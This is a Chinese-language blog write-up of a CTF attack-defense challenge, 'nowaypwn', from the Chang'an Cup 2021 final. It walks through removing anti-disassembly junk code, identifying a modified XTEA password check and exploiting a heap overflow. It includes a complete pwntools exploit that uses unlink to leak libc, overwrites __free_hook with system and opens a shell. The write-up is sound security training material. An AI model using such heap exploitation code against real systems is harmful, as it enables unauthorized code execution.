WriteUp-长安杯2021-决赛 AWD-nowaypwn

Y7n05h 非常激动能有机会(虽然是以替补的身份)参加长安杯 2021 决赛.这是 Y7n05h 第一次参加 CTF 线下赛,因为缺少经验,Y7n05h 犯了不少错误.在本文中,Y7n05h 将复盘比赛时的行为.
同时也感谢「摸一把」战队的大师傅,指出了 Y7n05h 的指点.
在 AWD 赛制中,Y7n05h 对没有做出这道 nowaypwn 十分的遗憾.

现在就让 Y7n05h 重新审视一下这道题目,看看它究竟考察了什么吧.

warning
免责声明

本文所述 PWN 均属 CTF(Capture The Flag)参赛行为或赛前训练行为.笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机.
本文意在分享网络安全与 CTF 相关技术与技巧,共同提升实力.
请本文读者谨记相关法律法规与政策.读者需为自身行为承担相应的法律后果.笔者(Y7n05h)不为读者的行为承担责任.

基本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
pwn/nowaypwn
filetype: ELF64
arch: AMD64
mode: 64 bits
endianess: LE
type: EXEC
library: GLIBC(2.4)[EXEC AMD64-64]
compiler: gcc((Ubuntu 5.3.1-14ubuntu2) 5.3.1 20160413)[EXEC AMD64-64]
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 2 /home/admin/pwn/nowaypwn
linux-vdso.so.1 (0x00007ffc85dee000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fd505212000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fd5053fd000)

题目提供的 libc 附件的版本是 2.23-0ubuntu11.3_amd64SHA-1 为:eb4e85135a8dfe60c1f5bfb704b1e5cfde24a0b8(大概是这个,文件弄乱了,Y7n05h 对此不是非常确定).

逆向工程分析

虽说这是一道 PWN 题,但在 Y7n05h 看来这道题的最重要的部分不是 PWN,而是逆向工程.本题的 PWN 部分十分简单,出题人在逆向工程部分设下了多个障碍.下面就听 Y7n05h 逐一说明.

下面是 IDA 生成的伪码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
__int64 __fastcall sub_400BFD(unsigned int *a1)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-3Ch]
unsigned int v3; // [rsp+20h] [rbp-38h]
unsigned int v4; // [rsp+24h] [rbp-34h]
unsigned int v5; // [rsp+28h] [rbp-30h]
int v6[6]; // [rsp+38h] [rbp-20h]
unsigned __int64 v7; // [rsp+50h] [rbp-8h]

v7 = __readfsqword(0x28u);
v6[0] = 674697780;
v6[1] = 422065475;
v6[2] = 423118625;
v6[3] = -1741216238;
v3 = *a1;
v4 = a1[1];
v5 = 0;
for ( i = 0; i <= 31; ++i )
{
v3 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v6[v5 & 3] + v5);
v5 -= 1640531527;
v4 += (((v3 >> 5) ^ (16 * v3)) + v3) ^ (v6[(v5 >> 11) & 3] + v5);
}
*a1 = v3;
result = v4;
a1[1] = v4;
return result;
}
_BOOL8 __fastcall sub_400DB8(_BYTE *a1)
{
sub_400BFD(a1);
return *a1 == 20
&& a1[1] == 92
&& a1[2] == 0xA6
&& a1[3] == 0xD2
&& a1[4] == 14
&& a1[5] == 69
&& a1[6] == 9
&& a1[7] == 119;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char v4[16]; // [rsp+18h] [rbp-50h] BYREF
char buf[16]; // [rsp+28h] [rbp-40h] BYREF
char v6[40]; // [rsp+38h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+60h] [rbp-8h]

v7 = __readfsqword(0x28u);
sub_40091D(a1, a2, a3);
puts("Happy to see you darling!");
puts("Give me your name:");
read(0, buf, 0x10uLL);
puts("Give me your key:");
read(0, v4, 0x20uLL);
puts("Now start the game!");
do
{
puts("Input your password!:");
read(0, v6, 0x2CuLL);
result = sub_400DB8(v6);
}
while ( (_DWORD)result != 1 );
return result;
}

Y7n05h 在伪码中没有找到任何漏洞.

难道这是个栈题,漏洞存在于 sub_400BFD() 里面吗?

通过 IDA 插件 Findcrypt 得到 TEA_DELTA_400C64 的内容.通过搜索引擎得知 TEA 加密算法.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
uint32_t delta = 0x9e3779b9;//常数 可更改

void tea_encrypt(uint32_t s[2], const uint32_t key[4]) {


uint32_t l = s[0];
uint32_t r = s[1];
uint32_t sum = 0;
for (int i = 0; i < 32; ++i) {
l += (((r >> 5) ^ (r << 4)) + r) ^ (key[sum & 3] + sum);
sum += delta;
r += (((l >> 5) ^ (l << 4)) + l) ^ (key[(sum >> 11) & 3] + sum);
}
s[0] = l;
s[1] = r;
}
void tea_decrypt(uint32_t v[2], const uint32_t key[4]) {
uint32_t l = v[0], r = v[1];

uint32_t sum = delta << 5;
for (int i = 0; i < 32; i++) {
r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]);
}
v[0] = l;
v[1] = r;
}

通过,对比 tea_encrypt()sub_400BFD(),Y7n05h 认为 sub_400BFD() 就是使用 TEA 算法加密一个 64 bits 的分组的函数.

噢,或许会有读者觉得:

tea_encrypt() 中是:

1
sum += delta;

sub_400BFD() 中是:

1
v5 -= 1640531527;

这两处不但数值不同,而且一处为加法,一处为减法,怎么能说 sub_400BFD()tea_encrypt() 等价呢?

有这样的顾虑的读者,请别忘了,有符号整形采用二进制补码存储,因此减去 1640531527 也就是加上 0x9e3779b9.

因此,Y7n05h 认为这两个函数完全等价(这个结论在当前是正确的),也就是说 sub_400BFD()TEA 加密算法的一种实现,那么就能得知 sub_400BFD() 加密的内容可用 tea_decrypt() 解密.

先别急着去解密密文,别忘了这是 PWN 题,不是逆向题,那么漏洞在哪里呢?Y7n05h 并没有找到.

在紧张的 AWD 比赛中,Y7n05h 对此题没有更多的进展了.在 Y7n05h 发现自己做不出此题后,Y7n05h 决定先开始防御.Y7n05h 写出了下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <unistd.h>
int main(void) {
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char buf[0x50];
puts("Happy to see you darling!");
puts("Give me your name:");
read(0, buf, 0x10uLL);
puts("Give me your key:");
read(0, buf, 0x20uLL);
puts("Now start the game!");
do {
puts("Input your password!:");
read(0, buf, 0x2CuLL);
} while (1);
}

为了防止别的队伍 PWN 掉 Y7n05h 的靶机,Y7n05h 编译了上面的代码,替换了靶机中的程序.Y7n05h 看了看比赛平台上并未将靶机判为宕机状态,于是 Y7n05h 知道这样的改动通过了 check.(「摸一把」战队的大师傅在赛后告诉 Y7n05h 这是比赛方设置的 check 过于宽松,在多数的比赛中 check 将检查原程序与靶机上运行的程序的大小差异,差异过大不能通过 check)Y7n05h 这样的改动通过了 checks 纯属侥幸,请各位读者 不要 学习.

那么使用密钥(v6 的前 128 bits,也就是下面的 key):

1
2
3
4
5
uint32_t key[4] =
{0x28371234,
0x19283543,
0x19384721,
0x98372612};

解密密文分组:

1
uint8_t message[9] = {0x14, 0x5c, 0xa6, 0xd2, 0x0e, 0x45, 0x09, 0x77};

通过 pwntools 将得到的明文分组,在程序中输入,得到密码输入错误的提示.

Y7n05h 尝试提取 sub_400BFD() 的伪码修改并编译,输入上面获得的明文分组和密钥,成功的得到了密文分组.
Y7n05h 又去尝试使用 gdb 追踪 sub_400BFD() 的解密过程,发现 sub_400BFD() 结束后,得到了不同于预期的密文分组.

这真是一件令 Y7n05h 感到费解的事!使用 tea_decrypt() 解密密文得到的明文,输入至 tea_encrypt() 或 IDA 中复制出的 sub_400BFD() 能得到相同的密文分组,但若输入至 nowaypwn 程序中,则能得到异于前面的 tea_encrypt() 的输出的密文分组.

这真是奇怪!Y7n05h 开始思考是不是 sub_400BFD() 中是不是存在 C 语言中的 Undefined Behavior 导致了不同的执行结果.

就在 Y7n05h 试图对比通过编译 sub_400BFD() 伪码得到的汇编代码与反汇编 nowaypwn 得到的汇编代码时,发现:

1
2
3
4
.text:0000000000400CF2                 call    $+5
.text:0000000000400CF7 add [rsp+58h+var_58], 6
.text:0000000000400CFC retn
.text:0000000000400CFC sub_400BFD endp ; sp-analysis failed

IDA 的报错是因为这里存在花指令,Y7n05h 在这里贴出的部分全都是用于干扰反汇编、反编译工具的花指令,有兴趣知道这些指令为什么能干扰反汇编、反编译工具的读者可以通过 GDB 追踪这三个指令的执行.

通过 IDApatch 功能将这些花指令改为 nop,然后使用 IDA 重新分析程序即可得到完整的 sub_400BFD() 伪码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 __fastcall sub_400BFD(unsigned int *a1)
{
int i; // [rsp+14h] [rbp-3Ch]
int j; // [rsp+14h] [rbp-3Ch]
unsigned int v4; // [rsp+18h] [rbp-38h]
unsigned int v5; // [rsp+18h] [rbp-38h]
unsigned int v6; // [rsp+1Ch] [rbp-34h]
unsigned int v7; // [rsp+1Ch] [rbp-34h]
unsigned int v8; // [rsp+20h] [rbp-30h]
unsigned int v9; // [rsp+20h] [rbp-30h]
unsigned int v10; // [rsp+24h] [rbp-2Ch]
unsigned int v11; // [rsp+28h] [rbp-28h]
int v12[6]; // [rsp+30h] [rbp-20h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]

v13 = __readfsqword(0x28u);
v10 = *a1;
v11 = a1[1];
v12[0] = 674697780;
v12[1] = 422065475;
v12[2] = 423118625;
v12[3] = -1741216238;
v4 = *a1;
v6 = a1[1];
v8 = 0;
for ( i = 0; i <= 31; ++i )
{
v4 += (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v12[v8 & 3] + v8);
v8 -= 1640531527;
v6 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v12[(v8 >> 11) & 3] + v8);
}
*a1 = v4;
a1[1] = v6;
v5 = v10;
v7 = v11;
v9 = 0;
for ( j = 0; j <= 8; ++j )
{
v5 += (((v7 >> 5) ^ (16 * v7)) + v7) ^ (v12[v9 & 3] + v9);
v9 += 0x19286521;
v7 += (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v12[(v9 >> 11) & 3] + v9);
}
*a1 = v5;
a1[1] = v7;
return __readfsqword(0x28u) ^ v13;
}

通过分析这段伪码就能发现,TEA 算法生成的密文分组并未被使用,程序中真正使用的是另一个加密算法.最终,可知这是 XTEA 算法.
这是 Y7n05h 通过搜索找到的 XTEA 算法实现.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdint.h>
#define delta 0x9E3779B9U//常量 可更改
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
uint32_t v0 = v[0], v1 = v[1], sum = 0;
for (int i = 0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
}
v[0] = v0;
v[1] = v1;
}

void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
uint32_t v0 = v[0], v1 = v[1], sum = delta * num_rounds;
for (int i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}

通过对比能确认这里使用的算法就是修改了 delta 常量的 XTEA 算法.

其实不但这里(0x400CF2)有花指令,在 0x400EEE0x400B44 也有花指令,patch 掉这些花指令之后,使用 IDA 重新生成伪码,就能清晰的看到漏洞所在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t Edit()
{
ssize_t result; // rax
unsigned __int64 Idx; // [rsp+8h] [rbp-8h]

Idx = get_Idx();
if ( Idx > 0x10 || !Arr[2 * Idx] || !Size[2 * Idx] )
exit(0);
read(0, Arr[2 * Idx], Size[2 * Idx]);
result = Size[2 * Idx];
if ( result == 0x66 )
return read(0, Arr[2 * Idx], 0x80uLL);
return result;
}

这里的溢出过于刻意,相信所有人在 patch 掉这些花指令之后都能十分容易的发现这里的漏洞.

漏洞利用

在得到完整的伪码后,就能知道,本题目使用的加密算法是修改了常数的 XTEA 算法.修改 XTEA 的解密算法的常数后,解密得到:skdmaje1

根据伪码写出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(log_level='debug', os='linux', arch='amd64')

path = '/home/admin/pwn/nowaypwn'
libcpath = '/home/admin/pwn/libc.so.6'

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)

passwd = b'skdmaje1'

r.sendafter(":\n", b'123') # name
r.sendafter(":\n", b'123') # key
r.sendafter(":\n", passwd) # passwd


def up6(addr_port: bytes):
log.debug("get bytes"+addr_port.hex())
recvlen = len(addr_port)
log.debug("recv len "+hex(recvlen))
assert(recvlen == 6)

return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
return bytes(hex(n) if Hex else str(n), encoding="ascii")


def Alloc(size: int):
r.sendline(b'1')
r.sendline(i2b(size))


def Delete(idx: int):
r.sendline(b'2')
r.sendline(i2b(idx))


def Edit(idx: int, content: bytes):
r.sendline(b'3')
r.sendline(i2b(idx))
r.send(content)


def Show(idx: int):
r.sendline(b'4')
r.sendline(i2b(idx))


def Get_pr(idx: int):
return 0x6020C0+idx*0x10

由于本题并未开启 PIE,Y7n05h 选择使用 Unlink 去完成本题目.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Alloc(0x30)  # 0
Alloc(0x30) # 1
Alloc(0x66) # 2
Alloc(0x100) # 3
Alloc(0x10) # 4

Edit(0, b'/bin/sh\x00')

Edit(2, cyclic(0x66))
chunk2_pr = Get_pr(2)
payload = flat(0, 0x21, chunk2_pr-0x18, chunk2_pr -
0x10, 0x20).ljust(0x60)+flat(0x60, 0x110)
r.send(payload) # size 为 0x66 触发再次读取,产生溢出

# Unlink
Delete(3)

payload = flat(8, elf.got['puts'], 0x8, Get_pr(1), 8)
Edit(2, payload)
r.send(p64(elf.got['puts'])) # size 为 0x66 触发再次读取

Show(1)
puts_addr = up6(r.recv(6))
libc_base = puts_addr-libc.symbols['puts']
free_hook_addr = libc.symbols['__free_hook']+libc_base
system_addr = libc.symbols['system']+libc_base
payload = p64(free_hook_addr)
Edit(2, payload)
Edit(1, p64(system_addr))
Delete(0)
r.interactive()

因为本题的 PWN 部分十分简单,Y7n05h 就不解释 exp 的每行的作用了.

最后,再次感谢「摸一把」战队的大师傅,Y7n05h 在比赛中没找到漏洞点,有花指令隐藏了漏洞点是 Y7n05h 赛后从「摸一把」战队的大师傅那里得知的.

WriteUp-长安杯2021-决赛 AWD-nowaypwn

https://blog.y7n05h.dev/长安杯2021-nowaypwn/

作者

Y7n05h

发布于

2021-10-20

更新于

2021-10-20

许可协议

CC BY-SA 4.0